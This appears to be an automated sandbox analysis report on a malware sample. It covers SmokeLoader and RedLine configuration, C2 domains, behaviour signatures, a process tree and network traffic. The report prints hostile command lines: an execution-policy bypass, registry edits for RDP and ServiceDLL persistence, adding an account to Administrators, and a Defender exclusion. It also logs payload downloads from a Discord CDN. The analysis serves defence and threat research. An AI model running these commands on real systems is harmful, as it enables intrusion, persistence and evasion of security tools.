Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    28-09-2021 23:35

General

  • Target

    e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e.exe

  • Size

    180KB

  • MD5

    e5cf31523f01f3791bf0d2dbf2a232c4

  • SHA1

    d992d4c7ff035d4dc730620924625d58be4bd4a6

  • SHA256

    e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e

  • SHA512

    83df9bc5351733b06adaa04f35bd3027c13ad995ea7bfde9c5ec60405c92bc5174718b80c54d1393917b3039efc26b09620807b5a995154902b3572ac3dda06c

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
1
0x33f8f0d2
rc4.i32
1
0xaa0488bb

Extracted

Family

redline

Botnet

777777

C2

193.56.146.60:18243

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 14 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 10 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e.exe
    "C:\Users\Admin\AppData\Local\Temp\e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Users\Admin\AppData\Local\Temp\e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e.exe
      "C:\Users\Admin\AppData\Local\Temp\e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2380
  • C:\Users\Admin\AppData\Local\Temp\FE2C.exe
    C:\Users\Admin\AppData\Local\Temp\FE2C.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:2772
  • C:\Users\Admin\AppData\Local\Temp\E5A.exe
    C:\Users\Admin\AppData\Local\Temp\E5A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4080
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qvqav023\qvqav023.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3F5C.tmp" "c:\Users\Admin\AppData\Local\Temp\qvqav023\CSC910D04A1CFB74B189A724FDF7928163.TMP"
          4⤵
            PID:1560
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3860
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
            PID:4960
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
              PID:4972
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
              3⤵
                PID:4544
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                3⤵
                • Modifies registry key
                PID:4600
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                3⤵
                  PID:4628
                • C:\Windows\SysWOW64\net.exe
                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  3⤵
                    PID:4824
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                      4⤵
                        PID:4852
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                      3⤵
                        PID:4908
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net start rdpdr
                          4⤵
                            PID:4456
                            • C:\Windows\SysWOW64\net.exe
                              net start rdpdr
                              5⤵
                                PID:4916
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 start rdpdr
                                  6⤵
                                    PID:4340
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                              3⤵
                                PID:4992
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c net start TermService
                                  4⤵
                                    PID:4924
                                    • C:\Windows\SysWOW64\net.exe
                                      net start TermService
                                      5⤵
                                        PID:5024
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 start TermService
                                          6⤵
                                            PID:5044
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                      3⤵
                                        PID:2772
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                        3⤵
                                          PID:4988
                                    • C:\Users\Admin\AppData\Local\Temp\17A2.exe
                                      C:\Users\Admin\AppData\Local\Temp\17A2.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Windows security modification
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of SetThreadContext
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:2332
                                      • C:\Users\Admin\AppData\Local\Temp\9dac25bf-828f-494e-be2f-32046ec357c3\AdvancedRun.exe
                                        "C:\Users\Admin\AppData\Local\Temp\9dac25bf-828f-494e-be2f-32046ec357c3\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\9dac25bf-828f-494e-be2f-32046ec357c3\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of WriteProcessMemory
                                        PID:2328
                                        • C:\Users\Admin\AppData\Local\Temp\9dac25bf-828f-494e-be2f-32046ec357c3\AdvancedRun.exe
                                          "C:\Users\Admin\AppData\Local\Temp\9dac25bf-828f-494e-be2f-32046ec357c3\AdvancedRun.exe" /SpecialRun 4101d8 2328
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3920
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\17A2.exe" -Force
                                        2⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3840
                                      • C:\Users\Admin\AppData\Local\Temp\17A2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\17A2.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:2360
                                      • C:\Users\Admin\AppData\Local\Temp\17A2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\17A2.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2512
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 2200
                                        2⤵
                                        • Drops file in Windows directory
                                        • Program crash
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2240
                                    • C:\Users\Admin\AppData\Local\Temp\4952.exe
                                      C:\Users\Admin\AppData\Local\Temp\4952.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Enumerates connected drives
                                      • Modifies system certificate store
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:2468
                                      • C:\Windows\SysWOW64\msiexec.exe
                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management 1.7.3.2\install\97C955F\adv.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\4952.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632871995 " AI_EUIMSI=""
                                        2⤵
                                        • Enumerates connected drives
                                        • Suspicious use of FindShellTrayWindow
                                        PID:4648
                                    • C:\Windows\system32\msiexec.exe
                                      C:\Windows\system32\msiexec.exe /V
                                      1⤵
                                      • Enumerates connected drives
                                      • Drops file in Windows directory
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:4276
                                      • C:\Windows\syswow64\MsiExec.exe
                                        C:\Windows\syswow64\MsiExec.exe -Embedding 3EEAA976552A483B3E3EF6D886ECBA20 C
                                        2⤵
                                        • Loads dropped DLL
                                        PID:4444
                                      • C:\Windows\syswow64\MsiExec.exe
                                        C:\Windows\syswow64\MsiExec.exe -Embedding 174C41CFE0FB8E18375AF88AF883D32B
                                        2⤵
                                        • Loads dropped DLL
                                        PID:4936
                                      • C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe
                                        "C:\Users\Admin\AppData\Roaming\DB Software Laboratory\Svn Syncronize Management\disksyncer.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        • Drops startup file
                                        • Loads dropped DLL
                                        • Adds Run key to start application
                                        PID:4388
                                        • C:\ProgramData\Zenar_protected\Zenar_protected.exe
                                          "C:\ProgramData\Zenar_protected\Zenar_protected.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Checks BIOS information in registry
                                          • Checks whether UAC is enabled
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          PID:2892
                                    • C:\Users\Admin\AppData\Local\Temp\6528.exe
                                      C:\Users\Admin\AppData\Local\Temp\6528.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of WriteProcessMemory
                                      PID:4112
                                      • C:\Users\Admin\AppData\Local\Temp\is-621I7.tmp\6528.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-621I7.tmp\6528.tmp" /SL5="$80118,4844586,831488,C:\Users\Admin\AppData\Local\Temp\6528.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:4148
                                        • C:\Users\Admin\AppData\Local\Temp\6528.exe
                                          "C:\Users\Admin\AppData\Local\Temp\6528.exe" /VERYSILENT
                                          3⤵
                                          • Executes dropped EXE
                                          PID:4320
                                          • C:\Users\Admin\AppData\Local\Temp\is-8L012.tmp\6528.tmp
                                            "C:\Users\Admin\AppData\Local\Temp\is-8L012.tmp\6528.tmp" /SL5="$90118,4844586,831488,C:\Users\Admin\AppData\Local\Temp\6528.exe" /VERYSILENT
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of FindShellTrayWindow
                                            PID:4408
                                            • C:\Users\Admin\AppData\Roaming\SketchLib SDK Client\SketchClient.exe
                                              "C:\Users\Admin\AppData\Roaming\SketchLib SDK Client\SketchClient.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              PID:4920

                                    Network

                                    • flag-us
                                      DNS
                                      naghenrietti1.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      naghenrietti1.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      kimballiett2.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      kimballiett2.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      xadriettany3.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      xadriettany3.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      jebeccallis4.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      jebeccallis4.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      nityanneron5.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      nityanneron5.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      umayaniela6.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      umayaniela6.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      umayaniela6.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      umayaniela6.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      lynettaram7.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      lynettaram7.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      sadineyalas8.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      sadineyalas8.top
                                      IN A
                                      Response
                                    • flag-us
                                      DNS
                                      geenaldencia9.top
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      geenaldencia9.top
                                      IN A
                                      Response
                                      geenaldencia9.top
                                      IN A
                                      47.251.11.148
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 219
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:30 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 25
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 323
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:30 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 204
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:31 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Connection: close
                                      Transfer-Encoding: chunked
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 311
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:33 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 356
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:34 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 172
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:35 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Connection: close
                                      Transfer-Encoding: chunked
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 334
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:37 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 342
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:38 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 309
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:39 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Connection: close
                                      Transfer-Encoding: chunked
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 226
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:40 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      DNS
                                      cdn.discordapp.com
                                      17A2.exe
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      cdn.discordapp.com
                                      IN A
                                      Response
                                      cdn.discordapp.com
                                      IN A
                                      162.159.134.233
                                      cdn.discordapp.com
                                      IN A
                                      162.159.129.233
                                      cdn.discordapp.com
                                      IN A
                                      162.159.130.233
                                      cdn.discordapp.com
                                      IN A
                                      162.159.133.233
                                      cdn.discordapp.com
                                      IN A
                                      162.159.135.233
                                    • flag-us
                                      GET
                                      https://cdn.discordapp.com/attachments/886962207051640872/892436136616689684/0368F3CF.jpg
                                      17A2.exe
                                      Remote address:
                                      162.159.134.233:443
                                      Request
                                      GET /attachments/886962207051640872/892436136616689684/0368F3CF.jpg HTTP/1.1
                                      Host: cdn.discordapp.com
                                      Connection: Keep-Alive
                                      Response
                                      HTTP/1.1 200 OK
                                      Date: Tue, 28 Sep 2021 23:36:40 GMT
                                      Content-Type: image/jpeg
                                      Content-Length: 1449980
                                      Connection: keep-alive
                                      CF-Ray: 6960cb931ec16b32-AMS
                                      Accept-Ranges: bytes
                                      Age: 28030
                                      Cache-Control: public, max-age=31536000
                                      ETag: "397bff800f59b6dca0f183f5ba302d93"
                                      Expires: Wed, 28 Sep 2022 23:36:40 GMT
                                      Last-Modified: Tue, 28 Sep 2021 15:42:35 GMT
                                      Vary: Accept-Encoding
                                      CF-Cache-Status: HIT
                                      Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                      Cf-Bgj: h2pri
                                      Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                      x-goog-generation: 1632843755681147
                                      x-goog-hash: crc32c=7lEwbA==
                                      x-goog-hash: md5=OXv/gA9Zttyg8YP1ujAtkw==
                                      x-goog-metageneration: 1
                                      x-goog-storage-class: STANDARD
                                      x-goog-stored-content-encoding: identity
                                      x-goog-stored-content-length: 1449980
                                      X-GUploader-UploadID: ADPycdtWxrscpbCnfvZ40OQEIMqgtjas3yTSWgV_IwZEWsafMEcmP0yP9ldzXyxBd3zqlfz83oXwEa3WanahmZ2xKcMeC4stHg
                                      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vwxlCzvkDwF1981muB%2BIN2WqjgADlwg61Y9TlVLlO6aJV1Ot1VfFxqjLahCMLYEYQ1KAyzwYEevCC058%2BdpRbbwSH%2F63OAY3FdqdPKOHMS1ClyAYFJ2UO9JUJiloXGKlhqn%2BDA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                      Server: cloudflare
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 204
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:40 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      POST
                                      http://geenaldencia9.top/
                                      Remote address:
                                      47.251.11.148:80
                                      Request
                                      POST / HTTP/1.1
                                      Connection: Keep-Alive
                                      Content-Type: application/x-www-form-urlencoded
                                      Accept: */*
                                      Referer: http://geenaldencia9.top/
                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                      Content-Length: 283
                                      Host: geenaldencia9.top
                                      Response
                                      HTTP/1.1 404 Not Found
                                      Date: Tue, 28 Sep 2021 23:36:41 GMT
                                      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
                                      X-Powered-By: PHP/5.5.38
                                      Content-Length: 327
                                      Connection: close
                                      Content-Type: text/html; charset=utf-8
                                    • flag-us
                                      DNS
                                      api.ip.sb
                                      SketchClient.exe
                                      Remote address:
                                      8.8.8.8:53
                                      Request
                                      api.ip.sb
                                      IN A
                                      Response
                                      api.ip.sb
                                      IN CNAME
